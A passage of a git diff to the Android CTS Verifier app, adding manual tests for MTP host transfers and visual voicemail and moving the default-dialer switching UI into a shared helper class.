+    private static final int SUBCLASS_MTP = 0xff;
+
+    /**
+     * Protocol for Picture Transfer Protocol (PIMA 15470).
+     */
+    private static final int PROTOCOL_PICTURE_TRANSFER = 1;
+
+    /**
+     * Protocol for Android style MTP.
+     */
+    private static final int PROTOCOL_MTP = 0;
+
+    private static final int RETRY_DELAY_MS = 1000;
+
+    private static final String ACTION_PERMISSION_GRANTED =
+            "com.android.cts.verifier.usb.ACTION_PERMISSION_GRANTED";
+
+    private static final String TEST_FILE_NAME = "CtsVerifierTest_testfile.txt";
+    private static final byte[] TEST_FILE_CONTENTS =
+            "This is a test file created by CTS verifier test.".getBytes(StandardCharsets.US_ASCII);
+
+    private final Handler mHandler = new Handler(this);
+    private int mStep;
+    private final ArrayList<TestItem> mItems = new ArrayList<>();
+
+    private UsbManager mUsbManager;
+    private BroadcastReceiver mReceiver;
+    private UsbDevice mUsbDevice;
+    private MtpDevice mMtpDevice;
+    private ExecutorService mExecutor;
+    private TextView mErrorText;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.mtp_host_activity);
+        setInfoResources(R.string.mtp_host_test, R.string.mtp_host_test_info, -1);
+        setPassFailButtonClickListeners();
+
+        final LayoutInflater inflater = getLayoutInflater();
+        final LinearLayout itemsView = (LinearLayout) findViewById(R.id.mtp_host_list);
+
+        mErrorText = (TextView) findViewById(R.id.error_text);
+
+        // Don't allow a test pass until all steps are passed.
+        getPassButton().setEnabled(false);
+
+        // Build test items.
+        mItems.add(new TestItem(
+                inflater,
+                R.string.mtp_host_device_lookup_message,
+                new int[] { R.id.next_item_button }));
+        mItems.add(new TestItem(
+                inflater,
+                R.string.mtp_host_grant_permission_message,
+                null));
+        mItems.add(new TestItem(
+                inflater,
+                R.string.mtp_host_test_read_event_message,
+                null));
+        mItems.add(new TestItem(
+                inflater,
+                R.string.mtp_host_test_send_object_message,
+                null));
+        mItems.add(new TestItem(
+                inflater,
+                R.string.mtp_host_test_notification_message,
+                new int[] { R.id.pass_item_button, R.id.fail_item_button }));
+        for (final TestItem item : mItems) {
+            itemsView.addView(item.view);
+        }
+
+        mExecutor = Executors.newSingleThreadExecutor();
+        mUsbManager = getSystemService(UsbManager.class);
+
+        mStep = 0;
+        mHandler.sendEmptyMessage(MESSAGE_RUN);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        if (mReceiver != null) {
+            unregisterReceiver(mReceiver);
+            mReceiver = null;
+        }
+    }
+
+    @Override
+    public boolean handleMessage(Message msg) {
+        final TestItem item = mStep < mItems.size() ? mItems.get(mStep) : null;
+
+        switch (msg.what) {
+            case MESSAGE_RUN:
+                if (item == null) {
+                    getPassButton().setEnabled(true);
+                    return true;
+                }
+                item.setEnabled(true);
+                mExecutor.execute(new Runnable() {
+                    private final int mCurrentStep = mStep;
+
+                    @Override
+                    public void run() {
+                        try {
+                            int i = mCurrentStep;
+                            if (i-- == 0) stepFindMtpDevice();
+                            if (i-- == 0) stepGrantPermission();
+                            if (i-- == 0) stepTestReadEvent();
+                            if (i-- == 0) stepTestSendObject();
+                            if (i-- == 0) stepTestNotification();
+                            mHandler.sendEmptyMessage(MESSAGE_PASS);
+                        } catch (Exception | AssertionFailedError exception) {
+                            mHandler.sendMessage(mHandler.obtainMessage(MESSAGE_FAIL, exception));
+                        }
+                    }
+                });
+                break;
+
+            case MESSAGE_PASS:
+                item.setState(ITEM_STATE_PASS);
+                item.setEnabled(false);
+                mStep++;
+                mHandler.sendEmptyMessage(MESSAGE_RUN);
+                break;
+
+            case MESSAGE_FAIL:
+                item.setState(ITEM_STATE_FAIL);
+                item.setEnabled(false);
+                final StringWriter writer = new StringWriter();
+                final Throwable throwable = (Throwable) msg.obj;
+                throwable.printStackTrace(new PrintWriter(writer));
+                mErrorText.setText(writer.toString());
+                break;
+        }
+
+        return true;
+    }
+
+    private void stepFindMtpDevice() throws InterruptedException {
+        assertEquals(R.id.next_item_button, waitForButtonClick());
+
+        UsbDevice device = null;
+        for (final UsbDevice candidate : mUsbManager.getDeviceList().values()) {
+            if (isMtpDevice(candidate)) {
+                device = candidate;
+                break;
+            }
+        }
+        assertNotNull(device);
+        mUsbDevice = device;
+    }
+
+    private void stepGrantPermission() throws InterruptedException {
+        if (!mUsbManager.hasPermission(mUsbDevice)) {
+            final CountDownLatch latch = new CountDownLatch(1);
+            mReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    unregisterReceiver(this);
+                    mReceiver = null;
+                    latch.countDown();
+                }
+            };
+            registerReceiver(mReceiver, new IntentFilter(ACTION_PERMISSION_GRANTED));
+            mUsbManager.requestPermission(
+                    mUsbDevice,
+                    PendingIntent.getBroadcast(
+                            MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), 0));
+
+            latch.await();
+            assertTrue(mUsbManager.hasPermission(mUsbDevice));
+        }
+
+        final UsbDeviceConnection connection = mUsbManager.openDevice(mUsbDevice);
+        assertNotNull(connection);
+
+        // Try to rob device ownership from other applications.
+        for (int i = 0; i < mUsbDevice.getInterfaceCount(); i++) {
+            connection.claimInterface(mUsbDevice.getInterface(i), true);
+            connection.releaseInterface(mUsbDevice.getInterface(i));
+        }
+        mMtpDevice = new MtpDevice(mUsbDevice);
+        assertTrue(mMtpDevice.open(connection));
+        assertTrue(mMtpDevice.getStorageIds().length > 0);
+    }
+
+    private void stepTestReadEvent() {
+        assertNotNull(mMtpDevice.getDeviceInfo().getEventsSupported());
+        assertTrue(mMtpDevice.getDeviceInfo().isEventSupported(MtpEvent.EVENT_OBJECT_ADDED));
+
+        mMtpDevice.getObjectHandles(0xFFFFFFFF, 0x0, 0x0);
+        while (true) {
+            MtpEvent event;
+            try {
+                event = mMtpDevice.readEvent(null);
+            } catch (IOException e) {
+                fail();
+                return;
+            }
+            if (event.getEventCode() == MtpEvent.EVENT_OBJECT_ADDED) {
+                break;
+            }
+            SystemClock.sleep(RETRY_DELAY_MS);
+        }
+    }
+
+    private void stepTestSendObject() throws IOException {
+        final MtpDeviceInfo deviceInfo = mMtpDevice.getDeviceInfo();
+        assertNotNull(deviceInfo.getOperationsSupported());
+        assertTrue(deviceInfo.isOperationSupported(MtpConstants.OPERATION_SEND_OBJECT_INFO));
+        assertTrue(deviceInfo.isOperationSupported(MtpConstants.OPERATION_SEND_OBJECT));
+
+        // Delete an existing test file that may be created by the test previously.
+        final int storageId = mMtpDevice.getStorageIds()[0];
+        for (final int objectHandle : mMtpDevice.getObjectHandles(
+                storageId, /* all format */ 0, /* Just under the root */ -1)) {
+            final MtpObjectInfo info = mMtpDevice.getObjectInfo(objectHandle);
+            if (TEST_FILE_NAME.equals(info.getName())) {
+                assertTrue(mMtpDevice.deleteObject(objectHandle));
+            }
+        }
+
+        final MtpObjectInfo info = new MtpObjectInfo.Builder()
+                .setStorageId(storageId)
+                .setName(TEST_FILE_NAME)
+                .setCompressedSize(TEST_FILE_CONTENTS.length)
+                .setFormat(MtpConstants.FORMAT_TEXT)
+                .setParent(-1)
+                .build();
+        final MtpObjectInfo newInfo = mMtpDevice.sendObjectInfo(info);
+        assertNotNull(newInfo);
+        assertTrue(newInfo.getObjectHandle() != -1);
+
+        final ParcelFileDescriptor[] pipes = ParcelFileDescriptor.createPipe();
+        try {
+            try (final ParcelFileDescriptor.AutoCloseOutputStream stream =
+                    new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1])) {
+                stream.write(TEST_FILE_CONTENTS);
+            }
+            assertTrue(mMtpDevice.sendObject(
+                    newInfo.getObjectHandle(),
+                    newInfo.getCompressedSizeLong(),
+                    pipes[0]));
+        } finally {
+            pipes[0].close();
+        }
+    }
+
+    private void stepTestNotification() throws InterruptedException {
+        assertEquals(R.id.pass_item_button, waitForButtonClick());
+    }
+
+    private int waitForButtonClick() throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MutableInt result = new MutableInt(-1);
+        mItems.get(mStep).setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                result.value = v.getId();
+                latch.countDown();
+            }
+        });
+        latch.await();
+        return result.value;
+    }
+
+    private static boolean isMtpDevice(UsbDevice device) {
+        for (int i = 0; i < device.getInterfaceCount(); i++) {
+            final UsbInterface usbInterface = device.getInterface(i);
+            if ((usbInterface.getInterfaceClass() == UsbConstants.USB_CLASS_STILL_IMAGE &&
+                    usbInterface.getInterfaceSubclass() == SUBCLASS_STILL_IMAGE_CAPTURE &&
+                    usbInterface.getInterfaceProtocol() == PROTOCOL_PICTURE_TRANSFER)) {
+                return true;
+            }
+            if (usbInterface.getInterfaceClass() == UsbConstants.USB_SUBCLASS_VENDOR_SPEC &&
+                    usbInterface.getInterfaceSubclass() == SUBCLASS_MTP &&
+                    usbInterface.getInterfaceProtocol() == PROTOCOL_MTP &&
+                    "MTP".equals(usbInterface.getName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private static class TestItem {
+        private final View view;
+        private final int[] buttons;
+
+        TestItem(LayoutInflater inflater,
+                 int messageText,
+                 int[] buttons) {
+            this.view = inflater.inflate(R.layout.mtp_host_item, null, false);
+
+            final TextView textView = (TextView) view.findViewById(R.id.instructions);
+            textView.setText(messageText);
+
+            this.buttons = buttons != null ? buttons : new int[0];
+            for (final int id : this.buttons) {
+                final Button button = (Button) view.findViewById(id);
+                button.setVisibility(View.VISIBLE);
+                button.setEnabled(false);
+            }
+        }
+
+        void setOnClickListener(OnClickListener listener) {
+            for (final int id : buttons) {
+                final Button button = (Button) view.findViewById(id);
+                button.setOnClickListener(listener);
+            }
+        }
+
+        void setEnabled(boolean value) {
+            for (final int id : buttons) {
+                final Button button = (Button) view.findViewById(id);
+                button.setEnabled(value);
+            }
+        }
+
+        Button getButton(int id) {
+            return (Button) view.findViewById(id);
+        }
+
+        void setState(int state) {
+            final ImageView imageView = (ImageView) view.findViewById(R.id.status);
+            switch (state) {
+                case ITEM_STATE_PASS:
+                    imageView.setImageResource(R.drawable.fs_good);
+                    break;
+                case ITEM_STATE_FAIL:
+                    imageView.setImageResource(R.drawable.fs_error);
+                    break;
+                case ITEM_STATE_INDETERMINATE:
+                    imageView.setImageResource(R.drawable.fs_indeterminate);
+                    break;
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/CallSettingsCheckActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/CallSettingsCheckActivity.java
new file mode 100644
index 0000000..ac0f060
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/CallSettingsCheckActivity.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.voicemail;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.telecom.TelecomManager;
+import android.view.View;
+import android.view.View.OnClickListener;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Tests {@link android.telephony.TelephonyManager#METADATA_HIDE_VOICEMAIL_SETTINGS_MENU}
+ */
+public class CallSettingsCheckActivity extends PassFailButtons.Activity {
+
+    private DefaultDialerChanger mDefaultDialerChanger;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.voicemail_hide_in_call_settings, null);
+        setContentView(view);
+        setInfoResources(R.string.call_settings_check_test,
+                R.string.call_settings_check_instructions, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mDefaultDialerChanger = new DefaultDialerChanger(this);
+
+        findViewById(R.id.open_call_settings).setOnClickListener(
+                new OnClickListener() {
+                    @Override
+                    public void onClick(View v) {
+                        startActivity(new Intent(TelecomManager.ACTION_SHOW_CALL_SETTINGS));
+                    }
+                }
+        );
+
+        findViewById(R.id.settings_hidden).setOnClickListener(
+                new OnClickListener() {
+                    @Override
+                    public void onClick(View v) {
+                        getPassButton().setEnabled(true);
+                        setTestResultAndFinish(true);
+                    }
+                }
+        );
+
+        findViewById(R.id.settings_not_hidden).setOnClickListener(
+                new OnClickListener() {
+                    @Override
+                    public void onClick(View v) {
+                        setTestResultAndFinish(false);
+                    }
+                }
+        );
+
+    }
+
+    @Override
+    protected void onDestroy() {
+        mDefaultDialerChanger.destroy();
+        super.onDestroy();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/CtsVisualVoicemailService.java b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/CtsVisualVoicemailService.java
new file mode 100644
index 0000000..b0c8b14
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/CtsVisualVoicemailService.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.voicemail;
+
+import android.telecom.PhoneAccountHandle;
+import android.telephony.VisualVoicemailService;
+import android.telephony.VisualVoicemailSms;
+
+/**
+ * Forwards {@link VisualVoicemailService} events to tests. The CTS Verifier app needs to be set to
+ * the default dialer for it to receive the events.
+ */
+public class CtsVisualVoicemailService extends VisualVoicemailService {
+
+    public abstract static class Callback {
+
+        public abstract void onCellServiceConnected(VisualVoicemailTask task,
+                PhoneAccountHandle phoneAccountHandle);
+
+        public abstract void onSimRemoved(VisualVoicemailTask task,
+                PhoneAccountHandle phoneAccountHandle);
+    }
+
+    private static Callback sCallback;
+
+    public static void setCallback(Callback callback) {
+        sCallback = callback;
+    }
+
+    @Override
+    public void onCellServiceConnected(VisualVoicemailTask task,
+            PhoneAccountHandle phoneAccountHandle) {
+        if (sCallback != null) {
+            sCallback.onCellServiceConnected(task, phoneAccountHandle);
+        }
+        task.finish();
+    }
+
+    @Override
+    public void onSmsReceived(VisualVoicemailTask task, VisualVoicemailSms sms) {
+        task.finish();
+    }
+
+    @Override
+    public void onSimRemoved(VisualVoicemailTask task, PhoneAccountHandle phoneAccountHandle) {
+        if (sCallback != null) {
+            sCallback.onSimRemoved(task, phoneAccountHandle);
+        }
+        task.finish();
+    }
+
+    @Override
+    public void onStopped(VisualVoicemailTask task) {
+        task.finish();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/DefaultDialerChanger.java b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/DefaultDialerChanger.java
new file mode 100644
index 0000000..a72ac2b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/DefaultDialerChanger.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.voicemail;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.telecom.TelecomManager;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.TextView;
+import android.widget.Toast;
+
+import com.android.cts.verifier.R;
+
+/**
+ * Provides common UI for tests that needs to be set as the default dialer.
+ */
+public class DefaultDialerChanger {
+
+    private final Activity mActivity;
+
+    private final ImageView mSetDefaultDialerImage;
+    private final Button mSetDefaultDialerButton;
+
+    private final ImageView mRestoreDefaultDialerImage;
+    private final Button mRestoreDefaultDialerButton;
+    private final TextView mRestoreDefaultDialerText;
+
+    private String mOriginalDefaultDialer;
+
+    private boolean mRestorePending;
+
+    public DefaultDialerChanger(Activity activity) {
+        mActivity = activity;
+
+        mSetDefaultDialerImage = (ImageView) mActivity.findViewById(R.id.set_default_dialer_image);
+        mRestoreDefaultDialerImage = (ImageView) mActivity
+                .findViewById(R.id.restore_default_dialer_image);
+        mRestoreDefaultDialerText = (TextView) mActivity
+                .findViewById(R.id.restore_default_dialer_text);
+
+        mSetDefaultDialerButton = (Button) mActivity.findViewById(R.id.set_default_dialer);
+        mRestoreDefaultDialerButton = (Button) mActivity.findViewById(R.id.restore_default_dialer);
+
+        final TelecomManager telecomManager = mActivity.getSystemService(TelecomManager.class);
+        mOriginalDefaultDialer = telecomManager.getDefaultDialerPackage();
+
+        updateSetDefaultDialerState(mOriginalDefaultDialer);
+        if (mOriginalDefaultDialer.equals(mActivity.getPackageName())) {
+            // The CTS verifier is already the default dialer (probably due to the tester exiting
+            // mid test. We don't know what the default dialer should be so just prompt the tester
+            // to restore it through settings, and remove the button.
+            mRestoreDefaultDialerText
+                    .setText(R.string.voicemail_restore_default_dialer_no_default_description);
+            mRestoreDefaultDialerButton.setVisibility(View.GONE);
+        }
+
+        mSetDefaultDialerButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                if (telecomManager.getDefaultDialerPackage().equals(mActivity.getPackageName())) {
+                    Toast.makeText(mActivity,
+                            R.string.voicemail_default_dialer_already_set, Toast.LENGTH_SHORT)
+                            .show();
+                    return;
+                }
+
+                final Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER);
+                intent.putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME,
+                        mActivity.getPackageName());
+                mActivity.startActivityForResult(intent, 0);
+            }
+        });
+
+        mRestoreDefaultDialerButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                if (telecomManager.getDefaultDialerPackage().equals(mOriginalDefaultDialer)) {
+                    Toast.makeText(mActivity,
+                            R.string.voicemail_default_dialer_already_restored, Toast.LENGTH_SHORT)
+                            .show();
+                    return;
+                }
+
+                final Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER);
+                intent.putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME,
+                        mOriginalDefaultDialer);
+                mActivity.startActivityForResult(intent, 0);
+            }
+        });
+
+        mActivity.registerReceiver(mDefaultDialerChangedReceiver,
+                new IntentFilter(TelecomManager.ACTION_DEFAULT_DIALER_CHANGED));
+    }
+
+    public void setRestorePending(boolean value) {
+        mRestorePending = value;
+    }
+
+    private BroadcastReceiver mDefaultDialerChangedReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String packageName =
+                    intent.getStringExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME);
+            if (!mRestorePending) {
+                updateSetDefaultDialerState(packageName);
+            } else {
+                if (packageName.equals(mActivity.getPackageName())) {
+                    mRestoreDefaultDialerImage
+                            .setImageDrawable(mActivity.getDrawable(R.drawable.fs_indeterminate));
+                } else {
+                    mRestoreDefaultDialerImage
+                            .setImageDrawable(mActivity.getDrawable(R.drawable.fs_good));
+                }
+            }
+        }
+    };
+
+    private void updateSetDefaultDialerState(String packageName) {
+        if (packageName.equals(mActivity.getPackageName())) {
+            mSetDefaultDialerImage.setImageDrawable(mActivity.getDrawable(R.drawable.fs_good));
+        } else {
+            mSetDefaultDialerImage
+                    .setImageDrawable(mActivity.getDrawable(R.drawable.fs_indeterminate));
+        }
+    }
+
+    public void destroy() {
+        mActivity.unregisterReceiver(mDefaultDialerChangedReceiver);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VisualVoicemailServiceActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VisualVoicemailServiceActivity.java
new file mode 100644
index 0000000..fe29939
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VisualVoicemailServiceActivity.java
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.voicemail;
+
+import android.os.Bundle;
+import android.telecom.PhoneAccountHandle;
+import android.telephony.VisualVoicemailService.VisualVoicemailTask;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.voicemail.CtsVisualVoicemailService.Callback;
+
+/**
+ * This test ask the tester to remove this SIM, set the CTS verifier as the default dialer and
+ * reinsert then remove the SIM again. The test will pass if the verifier is able to receive the new
+ * service connected and SIM removed events with the {@link android.telephony.VisualVoicemailService}.
+ */
+public class VisualVoicemailServiceActivity extends PassFailButtons.Activity {
+
+    private DefaultDialerChanger mDefaultDialerChanger;
+
+    private ImageView mSetDefaultDialerImage;
+    private ImageView mRestoreDefaultDialerImage;
+
+    private ImageView mRemoveSimBeforeTestImage;
+    private TextView mRemoveSimBeforeTestText;
+    private Button mRemoveSimBeforeTestOkButton;
+    private Button mRemoveSimBeforeTestNAButton;
+
+    private TextView mInsertSimText;
+    private ImageView mInsertSimImage;
+    private TextView mRemoveSimText;
+    private ImageView mRemoveSimImage;
+
+    private boolean mConnectedReceived;
+    private boolean mSimRemovalReceived;
+
+    private Callback mCallback = new Callback() {
+        @Override
+        public void onCellServiceConnected(VisualVoicemailTask task,
+                PhoneAccountHandle phoneAccountHandle) {
+            mConnectedReceived = true;
+            mInsertSimImage.setImageDrawable(getDrawable(R.drawable.fs_good));
+            mInsertSimText.setText(getText(R.string.visual_voicemail_service_insert_sim_received));
+            checkPassed();
+        }
+
+        @Override
+        public void onSimRemoved(VisualVoicemailTask task, PhoneAccountHandle phoneAccountHandle) {
+            mSimRemovalReceived = true;
+            mRemoveSimImage.setImageDrawable(getDrawable(R.drawable.fs_good));
+            mRemoveSimText.setText(getText(R.string.visual_voicemail_service_remove_sim_received));
+            checkPassed();
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        CtsVisualVoicemailService.setCallback(mCallback);
+        View view = getLayoutInflater().inflate(R.layout.visual_voicemail_service, null);
+        setContentView(view);
+        setInfoResources(R.string.visual_voicemail_service_test,
+                R.string.visual_voicemail_service_instructions, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mDefaultDialerChanger = new DefaultDialerChanger(this);
+
+        mSetDefaultDialerImage = (ImageView) findViewById(R.id.set_default_dialer_image);
+        mRestoreDefaultDialerImage = (ImageView) findViewById(R.id.restore_default_dialer_image);
+
+        mRemoveSimBeforeTestImage = (ImageView) findViewById(R.id.remove_sim_before_test_image);
+        mRemoveSimBeforeTestText = (TextView) findViewById(R.id.remove_sim_before_test_text);
+        mRemoveSimBeforeTestOkButton = (Button) findViewById(R.id.remove_sim_ok);
+        mRemoveSimBeforeTestNAButton = (Button) findViewById(R.id.remove_sim_not_applicable);
+
+        mInsertSimImage = (ImageView) findViewById(R.id.insert_sim_image);
+        mInsertSimText = (TextView) findViewById(R.id.insert_sim_text);
+
+        mRemoveSimImage = (ImageView) findViewById(R.id.remove_sim_image);
+        mRemoveSimText = (TextView) findViewById(R.id.remove_sim_text);
+
+        mRemoveSimBeforeTestNAButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                getPassButton().setEnabled(true);
+                mSetDefaultDialerImage.setImageDrawable(getDrawable(R.drawable.fs_warning));
+                mRestoreDefaultDialerImage.setImageDrawable(getDrawable(R.drawable.fs_warning));
+                mInsertSimImage.setImageDrawable(getDrawable(R.drawable.fs_warning));
+                mRemoveSimImage.setImageDrawable(getDrawable(R.drawable.fs_warning));
+
+                mRemoveSimBeforeTestOkButton.setEnabled(false);
+            }
+        });
+
+        mRemoveSimBeforeTestOkButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                mRemoveSimBeforeTestImage.setImageDrawable(getDrawable(R.drawable.fs_good));
+            }
+        });
+    }
+
+    private void checkPassed() {
+        if (mConnectedReceived && mSimRemovalReceived) {
+            getPassButton().setEnabled(true);
+            mDefaultDialerChanger.setRestorePending(true);
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        VoicemailBroadcastReceiver.setListener(null);
+        mDefaultDialerChanger.destroy();
+        CtsVisualVoicemailService.setCallback(null);
+        super.onDestroy();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
index 8250594..14cddda 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
@@ -17,18 +17,12 @@
 
 package com.android.cts.verifier.voicemail;
 
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
 import android.os.Bundle;
-import android.telecom.TelecomManager;
 import android.view.View;
-import android.view.View.OnClickListener;
-import android.widget.Button;
 import android.widget.ImageView;
 import android.widget.TextView;
 import android.widget.Toast;
+
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.voicemail.VoicemailBroadcastReceiver.ReceivedListener;
@@ -41,35 +35,10 @@
  */
 public class VoicemailBroadcastActivity extends PassFailButtons.Activity {
 
-    private String mDefaultDialer;
-
-    private ImageView mSetDefaultDialerImage;
     private ImageView mLeaveVoicemailImage;
     private TextView mLeaveVoicemailText;
-    private ImageView mRestoreDefaultDialerImage;
-    private TextView mRestoreDefaultDialerText;
 
-    private Button mSetDefaultDialerButton;
-    private Button mRestoreDefaultDialerButton;
-
-    private BroadcastReceiver mDefaultDialerChangedReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String packageName =
-                    intent.getStringExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME);
-            if (!getPassButton().isEnabled()) {
-                updateSetDefaultDialerState(packageName);
-            } else {
-                if (packageName.equals(getPackageName())) {
-                    mRestoreDefaultDialerImage
-                            .setImageDrawable(getDrawable(R.drawable.fs_indeterminate));
-                } else {
-                    mRestoreDefaultDialerImage.setImageDrawable(getDrawable(R.drawable.fs_good));
-                }
-            }
-        }
-    };
-
+    private DefaultDialerChanger mDefaultDialerChanger;
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -80,60 +49,10 @@
         setPassFailButtonClickListeners();
         getPassButton().setEnabled(false);
 
-        mSetDefaultDialerImage = (ImageView) findViewById(R.id.set_default_dialer_image);
         mLeaveVoicemailImage = (ImageView) findViewById(R.id.leave_voicemail_image);
         mLeaveVoicemailText = (TextView) findViewById(R.id.leave_voicemail_text);
-        mRestoreDefaultDialerImage = (ImageView) findViewById(R.id.restore_default_dialer_image);
-        mRestoreDefaultDialerText = (TextView) findViewById(R.id.restore_default_dialer_text);
 
-        mSetDefaultDialerButton = (Button) view.findViewById(R.id.set_default_dialer);
-        mRestoreDefaultDialerButton = (Button) view.findViewById(R.id.restore_default_dialer);
-
-        final TelecomManager telecomManager = getSystemService(TelecomManager.class);
-        mDefaultDialer = telecomManager.getDefaultDialerPackage();
-        updateSetDefaultDialerState(mDefaultDialer);
-        if (mDefaultDialer.equals(getPackageName())) {
-            // The CTS verifier is already the default dialer (probably due to the tester exiting
-            // mid test. We don't know what the default dialer should be so just prompt the tester
-            // to restore it through settings, and remove the button.
-            mRestoreDefaultDialerText
-                    .setText(R.string.voicemail_restore_default_dialer_no_default_description);
-            mRestoreDefaultDialerButton.setVisibility(View.GONE);
-        }
-
-        mSetDefaultDialerButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                if (telecomManager.getDefaultDialerPackage().equals(getPackageName())) {
-                    Toast.makeText(VoicemailBroadcastActivity.this,
-                            R.string.voicemail_default_dialer_already_set, Toast.LENGTH_SHORT)
-                            .show();
-                    return;
-                }
-
-                final Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER);
-                intent.putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME,
-                        getPackageName());
-                startActivityForResult(intent, 0);
-            }
-        });
-
